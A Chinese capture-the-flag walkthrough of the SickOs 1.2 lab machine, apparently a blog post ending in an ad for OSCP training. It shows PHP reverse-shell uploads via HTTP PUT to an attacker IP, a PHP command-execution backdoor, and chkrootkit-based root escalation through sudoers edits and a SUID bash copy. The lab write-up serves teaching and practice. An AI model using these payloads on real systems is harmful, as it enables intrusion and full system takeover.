一、探测靶机IP(进行信息收集)
主机发现
arp-scan -l
nmap -sS -sV -p- -T5 192.168.253.233 -A
二、进入网页
查看网页原代码
尝试目录枚举,就扫出来了一个test
dirb http://192.168.253.233
查看有没有隐藏文件,发现并没有
diraserch -u http://192.168.253.233
diraserch -u http://192.168.253.233/test
进入test目录
看到lighttpd/1.4.28,找找有没有exp
看到一个
利用失败,只有一个22端口和一个80端口,ssh也不知道密码,突破点就应该还在80端口
三、getshell(PUT上传漏洞)
看到目录猜测有文件上传,看了一些师傅的方法
nikto扫描
nikto -h http://192.168.253.233/test/ -ask all
-
-h
:指定要扫描的目标主机的 URL。 -
-ask all
:让 Nikto 询问服务器支持的所有 HTTP 方法。
这里只允许put
方法一(Netcat)
Netcat,只要是有关TCP和UDP的都能使用Netcat,它可以打开TCP连接,发送UDP数据包,监听任意的TCP和UDP端口,进行端口扫描,可作为简易文件传输工具,如服务端 nc -l -p 8888 > file.txt
接收文件,客户端 nc <服务端IP> 8888 < file.txt
发送文件。
判断目标服务器是否支持OPTIONS
方法,并查看支持的 HTTP 方法列表
echo -e "OPTIONS /test/ HTTP/1.1rnHost: 192.168.253.233rnrn" | nc 192.168.253.233 80
管道的作用是把前一个命令的输出当作后一个命令的输入。
-
echo
命令用于输出文本。 -
-e
选项允许解析转义字符(如r
、n
)。 -
OPTIONS /test/ HTTP/1.1
:使用OPTIONS
方法查询路径/test/
支持的 HTTP 方法,协议为 HTTP/1.1。 -
Host: 192.168.253.233
:指定目标服务器的地址(HTTP/1.1 要求必须包含Host
头)。 -
rnrn
:表示两个换行符,标志 HTTP 请求头的结束。
该命令的整体功能是构建一个 HTTP OPTIONS 请求,然后通过netcat
工具把这个请求发送到 IP 地址为 192.168.253.233
、端口为 80 的服务器,服务器收到请求之后,会返回其支持的 HTTP 方法列表等相关信息
虽然这里允许的Http方法很多,目标服务器 test/
路径下无处理 例如POST
上传文件的脚本逻辑(如无接收 file
字段并存储文件的代码),会仅返回了目录列表,只有put可以
vim 1.php
# 写入php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.253.129/8888 0>&1'");?>
**上传1.**php
(
echo -ne "PUT /test/1.php HTTP/1.1rnHost: 192.168.253.233rnContent-Type: text/plainrnContent-Length: $(wc -c < 1.php)rnrn"
cat 1.php
) | nc 192.168.253.233 80
好消息:成功上传 坏消息:没有getshell
防火墙的出站规则:防火墙会检查设备对外发起的网络连接(出站流量),若目标端口不在允许列表内,连接会被阻断。例如靶机防火墙配置了 “允许访问外部 443 端口”,但拦截对 8888 端口的出站请求,此时你监听本地 8888 端口,靶机因防火墙规则无法成功连接。
猜测端口被防火墙禁用了,这里再次尝试443端口或者监听 80 端口,80端口不行,443端口成功了,8080端口也可以
vim 3.php
# 写入php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.253.129/443 0>&1'");?>
上传3.php(443端口)
(
echo -ne "PUT /test/3.php HTTP/1.1rnHost: 192.168.253.233rnContent-Type: text/plainrnContent-Length: $(wc -c < 3.php)rnrn"
cat 3.php
) | nc 192.168.253.233 80
-
echo
:用于输出文本内容到标准输出。 -
-n
:选项表示不自动添加换行符到输出的末尾。 -
-e
:选项允许echo
解释反斜杠转义字符,例如r
表示回车符,n
表示换行符。 -
输出内容:这是一个符合 HTTP 协议规范的请求头,具体解释如下:
-
PUT /test/3.php HTTP/1.1
:这是 HTTP 请求行,PUT
是 HTTP 方法,用于向服务器上传资源,/test/3.php
是要上传到服务器的目标路径和文件名,HTTP/1.1
表示使用的 HTTP 协议版本。 -
Host: 192.168.253.233
:这是必需的 HTTP 请求头字段,用于指定请求的目标主机的 IP 地址。 -
Content-Type: text/plain
:该字段指定了上传内容的类型,这里表示上传的是纯文本内容。 -
Content-Length: $(wc -c < 3.php)
:这是另一个重要的请求头字段,用于指定上传内容的长度。$(wc -c < 3.php)
是一个命令替换,wc -c < 3.php
会统计本地文件3.php
的字节数,将其作为Content-Length
的值。 -
rnrn
:两个连续的回车换行符,表示 HTTP 请求头的结束。 -
cat
命令用于读取并输出文件的内容。这里它会读取本地文件3.php
的内容,并将其输出到标准输出。由于前面已经输出了 HTTP 请求头,此时文件内容会紧跟在请求头之后,形成完整的 HTTP PUT 请求。
复用 80端口****的 HTTP 流量(隐蔽性高)
原理:将反向 Shell 流量伪装成 HTTP 请求,与现有 Web 服务共存(例如通过 HTTP 头或 POST 请求传递数据)。
-
复用 80 端口,流量伪装成 HTTP 请求,绕过防火墙检测。
-
现有 Web 服务仍可运行(需确保
socat
绑定到相同 IP)
修改PHP代码(使用 HTTP 隧道)
<?php
$attack_ip = "192.168.253.129"; // 攻击机 IP
$attack_port = 80; // 攻击机端口
// 建立 TCP 连接
$sock = fsockopen($attack_ip, $attack_port);
if (!$sock) die("连接失败");
// 生成随机 HTTP 路径(非文件路径)
$http_path = "/" . bin2hex(random_bytes(4));
// 发送伪装的 HTTP 请求头
fwrite($sock, "POST $http_path HTTP/1.1rn");
fwrite($sock, "Host: $attack_iprn");
fwrite($sock, "Content-Type: application/x-www-form-urlencodedrn");
fwrite($sock, "Connection: keep-alivernrn");
// 执行命令并返回结果
while (!feof($sock)) {
$cmd = fread($sock, 1024);
$output = shell_exec($cmd);
fwrite($sock, $output);
}
fclose($sock);
?>
(
echo -ne "PUT /test/socat.php HTTP/1.1rnHost: 192.168.253.233rnContent-Type: text/plainrnContent-Length: $(wc -c < socat.php)rnrn"
cat socat.php
) | nc 192.168.253.233 80
上传成功
攻击机使用socat
监听 HTTP 流量
# 监听 80 端口并处理 HTTP 流量
sudo socat TCP-LISTEN:80,reuseaddr,fork EXEC:'/bin/bash -i',pty,stderr,setsid,sigint,sane
攻击机的80端口也没有被占用,但是没有getshell,不知道具体原因在哪,还望知道的师傅能够不吝赐教
方法二(nmap)
vim 4.php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.253.129/443 0>&1'");?>
nmap --script http-put --script-args http-put.url='/test/4.php',http-put.file='4.php'192.168.253.233 -p 80
-
nmap
:Nmap 是一款广泛使用的网络扫描和安全审计工具,可用于发现主机、端口和服务等网络信息,同时它也支持通过脚本来执行各种特定任务。 -
--script http-put
:指定使用 Nmap 自带的http-put
脚本。该脚本的作用是通过 HTTP PUT 方法向目标服务器上传文件。 -
--script-args
:用于给指定的脚本传递参数。在这个命令里,它后面跟着的就是传递给http-put
脚本的参数。 -
http-put.url='/test/4.php'
:明确文件要上传到目标服务器的具体路径和文件名。这里表示要将文件上传到服务器的/test/
目录下,文件名保持为4.php
。 -
http-put.file='4.php'
:指定本地要上传的文件名。也就是说,会把当前工作目录下的4.php
文件上传到目标服务器。 -
192.168.253.233
:目标服务器的 IP 地址,表明要将文件上传到该 IP 对应的服务器上。 -
-p 80
:指定目标服务器上的端口号
getshell
方法三(burp)
上传burp.php文件成功
Getshell
方法四(curl)
vim 5.php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.253.129/443 0>&1'");?>
curl -i -X PUT -T 5.php http://192.168.253.233/test/5.php
-
curl
:这是命令的基础,curl
是一个强大的用于传输数据的命令行工具,支持多种协议,如 HTTP、HTTPS、FTP 等。 -
-i
:该选项的作用是让输出结果包含服务器响应的 HTTP 头部信息。HTTP 头部包含了诸如响应状态码、内容类型、缓存控制等许多有用的信息,添加-i
可以方便我们查看这些信息,从而了解服务器对请求的处理情况。 -
-X PUT
:-X
选项用于指定要使用的 HTTP 请求方法,这里指定为PUT
方法。在 HTTP 协议中,PUT
方法通常用于向服务器上传或替换资源,也就是将请求体中的数据存储到指定的 URL 所对应的资源上。在这个命令里,就是将本地的5.php
文件上传到目标服务器。 -
-T
:-T
是--upload-file
的缩写,用于指定要上传的文件。这里指定的是本地的5.php
文件,意味着要把这个文件上传到目标服务器。
nc -nvlp 443
Getshell
四、提权
查看版本信息
uname -a
lsb_release -a
为32位,ubuntu12.04 linux3.11
searchsploit ubuntu 12.04 |grep -v "x86-64"
searchsploit -m 37292.c
先尝试37292.c
注意这里开启端口的服务,由于防火墙拒绝了大部分端口的出站请求,443端口开启服务是不行的,所以这里监听8080端口
python -m http.server 8080
wget http://192.168.253.129:8080/37292.c
gcc -o exp 37292.c
利用失败
后面这几个都尝试了,均不能利用
查找具有 SUID 权限的文件
find / -perm -4000 -print2>/dev/null
没有什么可以利用的
查看定时任务(Cron Jobs)
ls -alh /etc/*cron*
-
ls -alh
:以 长格式(-l) 显示文件详细信息,包括权限、所有者、大小、时间等;-h
让文件大小以人类可读的格式(如 KB、MB)展示。 -
/etc/
_cron
_:匹配/etc/
目录下所有包含cron
关键字的文件和目录(通配符*
表示任意字符)
find / -name .placeholder* 2>/dev/null
查找placeholder,并且隐藏报错信息
placeholder里写不得编辑或删除 此文件是一个简单的占位符,用于防止 dpkg 删除此目录
在上面还看到一个chkrootkit工具
chkrootkit
是一款在 Unix 及类 Unix 系统(如 Linux、BSD 等)上广泛使用的开源工具,主要用于检测系统是否被植入 Rootkit
find / -name chkrootkit* 2>/dev/null
这里看到chkrootkit为0.49版本,去网上搜索一下,发现chkrootkit 0.49存在漏洞
-
在/tmp目录中放置一个名为'update'的可执行文件(显然,未挂载为noexec),且其所有者不是root。
-
以uid 0运行chkrootkit。
目标靶机的Chkrootkit会周期性以root身份执行目录/tmp/update的文件
结果:如果恶意内容被放置在该文件中,那么/tmp/update文件将以root权限执行,从而有效地使您的系统被root。
如果攻击者知道您定期运行chkrootkit(例如通过cron.daily),并且对/tmp有写入权限(未挂载为noexec),他可以轻松利用此漏洞。
提权方法一
www-data ALL=(ALL : ALL) NOPASSWD:ALL
-
"www-data ALL=(ALL) NOPASSWD:ALL"
是要输出的文本内容,其含义是配置www-data
用户(通常是 Web 服务器运行的用户,如 Apache 或 Nginx)可以在任何主机上以任何用户的身份执行所有命令,并且执行时不需要输入密码。
echo'chmod +w /etc/sudoers && echo "www-data ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /tmp/update
-
/etc/sudoers
是文件的路径,这个文件存储着系统中用户和用户组使用sudo
命令的权限配置信息。默认情况下,该文件只有只读权限,要对其进行修改,就需要先添加写权限。
chmod +x update
给update文件赋执行权限,并且目标靶机的Chkrootkit会周期性以root身份执行目录/tmp/update的文件
提权方法二
echo "cp /bin/bash /tmp/getroot; chown root:root /tmp/getroot; chmod u+s /tmp/getroot" >> /tmp/update
chmod +x updata
/tmp/getroot -p
执行/tmp/getroot -p
时,-p
是Bash的选项,其含义为
-
保持特权模式(
--privileged
),阻止Bash在启动时重置特权。 -
如果没有
-p
,Bash会检测到自己是Setuid程序,并主动将EUID从root降级为实际用户ID(即调用者的普通用户身份)。 -
通过
-p
,Bash跳过这一保护机制,维持EUID为root,从而获得root权限的Shell。
提权方法三
这个是看的别的师傅用的
在kali上编辑好再传到靶机进行编译执行即可提权
#include<unistd.h>void main(void)
{
system("chown root:root /tmp/update");
system("chmod 4755 /tmp/update");
setuid(0);
setgid(0);
execl("/bin/sh","sh",NULL);
}
END
oscp有对红队工作感兴趣,或者有意报考oscp的师傅,可以考虑一下我们的培训课程,加我微信咨询,好处如下:
1.报考后课程随时可看,并且如果对考试没有信心,还可以留群跟第二批课程学习,不限次数时间,报考即是一辈子可看
2.200+台靶机及官方课程,lab靶机+域的内容团队泷老师和小羽老师会带大家全部过一遍,并且群内随时答疑,团队老师及群友都会积极解答,全天可答疑
3.目前可接受分期付款,无利息,最多分四个月,第一次付完即可观看视频
4.加入课程可享受工作推荐机会,优秀者可内推至红队
5.报考即送送官方文档中文版,以及kali命令详解中文版,纯人工翻译,版权为团队所有
知识星球
还可以加入我们的知识星球,包含cs二开,甲壳虫,红盟工具等,还有很多src挖掘资料包
原文始发于微信公众号(泷羽Sec-临观):打靶日记 SickOs 1.2
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论